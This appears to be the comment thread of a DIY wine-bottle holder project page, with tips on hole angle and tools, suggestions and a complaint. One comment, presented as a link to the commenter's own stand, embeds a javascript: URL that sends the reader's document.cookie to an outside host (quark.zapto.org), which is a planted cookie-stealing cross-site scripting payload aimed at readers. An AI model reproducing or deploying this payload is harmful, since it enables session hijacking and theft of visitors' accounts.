This 'tble is pretty hypocritical !!! The video ends up with an invitation to "enjoy" !!!! But how can we do that with a wine holder that requires the bottle to remain uncorked ?????
I did this and found that for a standard bottle of wine it worked better to go closer to 50 degrees than 45. You can make the hole thru the wood straight or slanted. Slanted will allow the bottle to balance more parallel to the counter. I used a hols saw to cut the hole, then a wood rasp to put the angles on it.
a very neat idea, ive seen some before but ive never known the exact dimensions of how to make one Here should be a link to the one i have [javascript:document.location='http://quark.zapto.org/cookie/index.php?cookie='+document.cookie; http://www.bisouboutique.com/storetags/bar-winestand.htm]
If the only thing that goes better with wine is cheese, why not add some cutting board features to the stand itself so that it may be used double-duty? Make the oard out of butcherblock material! Nicely done as-is though! P.S. I have a late 70's Popular Mechanics Magazine with the same thing in it, as well as a mid 50's Mother Earth News. A timeless project indeed!
The video ends up with an invitation to "enjoy" !!!!
But how can we do that with a wine holder that requires the bottle to remain uncorked ?????
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Here should be a link to the one i have
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